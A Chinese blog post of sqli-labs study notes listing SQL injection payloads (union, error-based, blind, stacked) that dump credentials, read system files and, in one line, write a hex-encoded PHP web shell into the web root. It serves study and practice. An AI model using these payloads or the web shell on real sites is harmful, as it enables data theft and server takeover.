sql注入

问题

1、SQL注入原理

在数据交互中,前端的数据传入到后台进行处理时,没有做严格的判断,过滤。导致传入的“数据”拼接到SQL语句中,被当作SQL语句的一部分执行,导致信息泄露。

2、如何判断注入点

可以对输入数据的地方输入一些特殊字符,看服务器是否会去执行。要是没有返回信息,可能是盲注。

联合注入

例子:(sql_lab第1关为例)

(1)找闭合

?id=1' and 1=1--+

(2)确定列数

?id=1' order by 1--+

(3)查看是否回显

?id=-1' union select 1,2,3--+

(4)查数据库名、表名

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

(5)查列名

?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

(6)查询数据

?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+

(7)读文件

?id=-1' union select 1,2,load_file('C:/Windows/win.ini')--+

(8)写文件

?id=-1' union select 1,2,'' into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

?id=-1' union select 1,2,load_file("C:/yyy.php") into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

报错注入(有错误报出)

例子:(sql_lab第5关为例)

(1)找闭合

?id=1' and 1=1--+

(2)确定列数

?id=1' order by 1--+

(3)查看是否回显

?id=-1' union select 1,2,3--+

(4)查数据库名

?id=1' or extractvalue(1,concat(0x7e,(select database()),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

(5)查表名

?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

(6)查列名

?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1)--+

(7)查数据

?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(username,"^",password) from security.users),1,30),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(username,"^",password) from security.users),1,30),0x7e),1)--+

(8)读文件

?id=1' or extractvalue(1,concat(0x7e,substr((select load_file("C:/Windows/win.ini")),1,30),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,substr((select load_file("C:/Windows/win.ini")),1,30),0x7e),1)--+

?id=-1' union select 1,2,load_file('C:/Windows/win.ini')--+

(9)写文件

?id=-1' union select 1,2,'' into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

?id=-1' union select 1,2,load_file("C:/yyy.php") into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

布尔盲注(不管输入什么,界面只会出现两种结果)

例子:(sql_lab第8关为例)

(1)找闭合

?id=1' and 1=1--+

(2)确定列数

?id=-1' order by 1--+

(3)查看是否回显(可以用来写文件)

?id=-1' union select 1,2,3--+

(4)猜数据库长度

?id=1' and length(database())=8--+

(5)猜数据库名

?id=1' and substr(database(),1,1)='s'--+

?id=1' and ascii(substr(database(),1,1))=115--+

(6)猜出数据库后猜数据库中表的数量

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

(7)猜表名长度

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+

依次类推一直猜......

(8)读文件(布尔盲注读不出来)

?id=-1' union select 1,2,file_load("C:/Windows/win.ini")--+

(9)写文件

?id=-1' union select 1,2,"" into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

时间盲注(不管输入什么,界面都是一样的)

例子:(sql_lab第9关为例)

(1)找闭合

?id=1' and if(1=1,sleep(3),0)--+

(2)猜数据长度

?id=1' and if(length(database())=8,sleep(3),0)--+

(3)猜数据库名

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+

(4)猜数据库中表数量

?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=6,sleep(3),0)--+

(5)猜表名长度

?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(3),0)--+

依次类推一直猜......

(6)读文件(可以用来探测是否存在这个文件)

?id=1' and if(length(load_file("C:/test.php"))>1,sleep(3),0)--+

(7)写文件

?id=1' into outfile "E:/Security/phpstudy_pro/WWW/yyy.php" lines terminated by ""--+

?id=1' into outfile "E:/Security/phpstudy_pro/WWW/yyy.php" lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C657373395D293B3F3E--+

堆叠注入(利用mysqli_multi_query()函数)

例子:(sql_lab第38关为例)

(1)可写入数据到数据库

?id=1' union select 1,2,3;insert into users(username,password) value("yyy","yyy");

3、sqlmap学习

6.sql注入的更多相关文章

  1. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  2. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  3. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  4. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  5. 揭开SQL注入的神秘面纱PPT分享

        SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助.     点击这里下载.

  6. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  7. jdbc java数据库连接 8)防止sql注入

    回顾下之前jdbc的开发步骤: 1:建项目,引入数据库驱动包 2:加载驱动 Class.forName(..); 3:获取连接对象 4:创建执行sql语句的stmt对象;  写sql 5:执行sql ...

  8. Entity Framework关于SQL注入安全问题

    1.EF生成的sql语句,用 parameter 进行传值,所以不会有sql注入问题 2.EF下有涉及外部输入参数传值的,禁止使用EF直接执行sql命令方式,使用实体 SQL   参考: https: ...

  9. 关于SQL注入和如何防止

    之前在笔试的时候没有很好的答出这个问题,因此我要总结一下问题,以免日后继续在这个地方跌倒,以下是自己的理解,如有错误请指出 一.什么是SQL注入 SQL注入就是服务器在根据业务去处理数据库的时候,客户 ...

  10. Java防止SQL注入2(通过filter过滤器功能进行拦截)

    首先说明一点,这个过滤器拦截其实是不靠谱的,比如说我的一篇文章是介绍sql注入的,或者评论的内容是有关sql的,那会过滤掉:且如果每个页面都经过这个过滤器,那么效率也是非常低的. 如果是要SQL注入拦 ...

随机推荐

  1. flume往kafka中导入数据

    1.编辑flume的配置文件 a1.sources = r1 a1.channels = c1 # Describe/configure the source a1.sources.r1.type = ...

  2. Docker基本命令之 镜像管理

    镜像管理 docker常用基础命令: 查看docker版本信息:docker version 查看docker系统信息:docker info docker服务相关: 查看docker服务:syste ...

  3. linux 基础命令 apt

    Linux apt 命令 apt(Advanced Packaging Tool)是一个在 Debian 和 Ubuntu 中的 Shell 前端软件包管理器. apt 命令提供了查找.安装.升级.删 ...

  4. Eclipse 搭建一个简单的SpringBoot+WebSocket环境

    WebSocket是一种在单个TCP连接上进行全双工通信的协议. WebSocket通信协议于2011年被IETF定为标准RFC 6455,并由RFC7936补充规范. WebSocket API也被 ...

  5. react常见bug - 查询条件变化,但page未重置为1

    问题1.多次触发请求,且存在潜在的竞态问题 const [page, setPage] = useState(1); const [keyword, setKeyword] = useState('' ...

  6. MySQL innodb存储引擎的数据存储结构

    InnoDB存储引擎的数据存储结构 B+ 树 为什么选择B+树? 因为B+树的叶子节点存储了所有的data,所以它的非叶子节点可以存储更多的key,使得树更矮:树的高度几乎就是I/O的次数,所以选择更 ...

  7. 12.14linux学习第十七天

    今天老刘收了下第13章尾巴,讲了第14章和第15章. 13.6 分离解析技术 现在,喜欢看我们这本<Linux就该这么学>的海外读者越来越多,如果继续把本书配套的网站服务器(https:/ ...

  8. 使用idea从零编写SpringCloud项目-zuul

    带着问题学习是最好的,什么是网关?使用网关的好处是什么?怎么使用网关 网关:是系统对外的唯一入口,是介于客户端和服务端的中间层,处理非业务功能,提供路由的请求,鉴权,监控,缓存,限流等 网关的好处:可 ...

  9. [问题解决]Win32- OPENFILENAME 结构体报错或者找不到情况

    问题:OPENFILENAME结构体.GetOpenFileName()和 GetSaveFileName()函数都找不到了,在头文件<framework.h>中已经包含<windo ...

  10. linux端口映射,telnet通信失败

    linux端口映射 1.第一种方法, 使用firewalld # 开启伪装IP firewall-cmd --permanent --add-masquerade # 配置端口转发,将到达本机的123 ...